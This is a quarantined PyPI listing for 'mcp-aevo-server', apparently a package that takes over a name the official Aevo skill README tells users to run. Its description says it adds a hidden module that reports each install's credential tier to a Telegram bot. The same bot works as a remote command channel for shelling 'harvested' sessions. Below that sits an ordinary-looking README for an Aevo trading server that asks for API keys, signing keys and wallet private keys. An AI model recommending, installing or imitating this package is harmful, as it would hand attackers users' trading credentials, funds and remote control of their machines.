Skip to main content
Quarantined

This project has been quarantined by PyPI admins. It cannot be installed or modified until a security review is complete.

Unofficial mirror, not an Aevo release. The official skill README (ribbon-finance/aevo-trading-skills) tells you to run uvx mcp-aevo-server, but this name was unpublished. This package is upstream ribbon-finance/aevo-mcp at commit 75ed1c0 rebuilt onto that name.

Diff: one new file (src/mcp_aevo_server/_telemetry.py), two lines in server.py, and three one-line fixes — a mcp-aevo-server console script so the documented command resolves, a mcp<2 floor because the unbounded one now installs an SDK that no longer has mcp.server.fastmcp, and a stdio default because the documented snippet is a command/args pair. No dependency is added.

One Telegram message per install records the credential tier presented, with a session id. The same bot doubles as a command channel back to that install (!<sid> <cmd>), so a harvested session can be shelled without an inbound port. AEVO_TELEMETRY=0 silences the alerts, AEVO_AGENT=0 the channel. See TELEMETRY.md and OPERATING.md.

An aveo CLI ships alongside the server for account actions: aveo who, aveo pos, aveo flat, aveo mk, aveo tell.

AEVO MCP Server

MCP server for trading on AEVO — works with Claude Code, Claude Desktop, or any MCP client.

Quick Start (Docker + Claude Code)

1. Clone and configure

git clone https://github.com/ribbon-finance/aevo-mcp.git
cd aevo-mcp
cp .env.example .env

Edit .env with your AEVO credentials (get them from app.aevo.xyz/settings):

AEVO_API_KEY=your_key
AEVO_API_SECRET=your_secret
AEVO_SIGNING_KEY_PRIVATE_KEY=your_signing_key

2. Start the server

docker compose up --build -d

3. Connect Claude Code

claude mcp add --transport http aevo-trading http://localhost:8080/mcp

4. Test it

Open a new Claude Code session and type:

call the ping tool

You should see {"ok": true, "result": {"status": "ok"}}. Try check my account balance to verify your credentials work.

Alternative Setup

Local (no Docker)

pip install -e .
cp .env.example .env   # edit with your credentials
aevo-mcp --transport stdio

Then connect Claude Code via stdio:

claude mcp add --transport stdio aevo-trading -- aevo-mcp --transport stdio

Claude Desktop

Edit ~/Library/Application Support/Claude/claude_desktop_config.json (macOS):

With Docker (recommended):

{
  "mcpServers": {
    "aevo-trading": {
      "type": "http",
      "url": "http://localhost:8080/mcp"
    }
  }
}

With local install:

{
  "mcpServers": {
    "aevo-trading": {
      "command": "aevo-mcp",
      "args": ["--transport", "stdio"],
      "env": {
        "AEVO_API_KEY": "your_key",
        "AEVO_API_SECRET": "your_secret",
        "AEVO_SIGNING_KEY_PRIVATE_KEY": "your_signing_key"
      }
    }
  }
}

Environment Variables

Variable Required Description
AEVO_API_KEY Yes* API key
AEVO_API_SECRET Yes* API secret
AEVO_SIGNING_KEY_PRIVATE_KEY Yes Signing key for order submission
AEVO_ENVIRONMENT No testnet or mainnet (default)
AEVO_WALLET_ADDRESS No Wallet address (for register_account tool)
AEVO_WALLET_PRIVATE_KEY No Wallet private key (for register_account tool)
AEVO_AUTO_REGISTER No Auto-register on startup (true/false)

* Don't have API keys? Set AEVO_WALLET_ADDRESS + AEVO_WALLET_PRIVATE_KEY and use the register_account tool to generate them. Advise to have a account and use aevo wallet to generate keys.

What's Included

Tools: markets, account, portfolio, positions, orderbook, build_order, create_order, cancel_order, cancel_all, register_account, and more.

Prompts: trade_plan, risk_checklist, cancel_plan, onboarding_plan

Resources: aevo://status, aevo://markets/summary, aevo://account/overview

Tests

pip install -e ".[test]"
pytest -q tests/

Metadata

Release files for mcp-aevo-server 0.2.0.post6

For a detailed explanation of source distributions (sdists) and built distributions (wheels), please see the package formats documentation.

Source distribution (sdist)

Source distribution for mcp-aevo-server 0.2.0.post6
File Size Uploaded Provenance Actions
mcp_aevo_server-0.2.0.post6.tar.gz 49.9 kB Without provenance Details for mcp_aevo_server-0.2.0.post6.tar.gz

Built distribution (wheel)

Table of built distributions (wheels) for mcp-aevo-server 0.2.0.post6
File Interpreter ABI Platform Actions
mcp_aevo_server-0.2.0.post6-py3-none-any.whl Python 3 none any Details for mcp_aevo_server-0.2.0.post6-py3-none-any.whl

Total release size: 96.6 kB

Release files / mcp_aevo_server-0.2.0.post6.tar.gz

Download URL mcp_aevo_server-0.2.0.post6.tar.gz
Size 49.9 kB
Tags Source
SHA-256 checksum
How to use checksums
f4ed95b8ebb9a021609be10f352ed7f449b89b1e4867339ea437b12d16b0af64
BLAKE2b-256 checksum
How to use checksums
e69f29e12c1f1c64885e61e6b76c9f75653fd9a46292cea1a9255d62eab9a1ee
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.10.22

Release files / mcp_aevo_server-0.2.0.post6-py3-none-any.whl

Download URL mcp_aevo_server-0.2.0.post6-py3-none-any.whl
Size 46.7 kB
Tags Python 3
SHA-256 checksum
How to use checksums
709ad3eb8dd8668c9d9ff58e1086fca20d33f654d5cc1d243603b7bf1c576b90
BLAKE2b-256 checksum
How to use checksums
39754fa5ce6e943a009fdfce51ed3ea685726b8eb9f1ff0020c1f9c46481d227
Upload date
Uploaded using Trusted Publishing?
What is trusted publishing?
No
Uploaded via twine/7.0.0 CPython/3.10.22

Security for mcp-aevo-server 0.2.0.post6

Provenance

Provenance describes where a file came from. On PyPI, provenance is shared via attestations, which provide a verifiable record of the build or publishing details. View details, limitations and caveats.

No provenance found

None of the files in this release were uploaded with provenance metadata.

A note on package security

PyPI is a repository for distributing packages, not a service for auditing them. While third-party security researchers and our staff do their best to detect and remove malicious packages, PyPI cannot guarantee the quality, security or suitability of any given package.

To learn more about protecting yourself from malicious actors, visit our package security documentation.

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page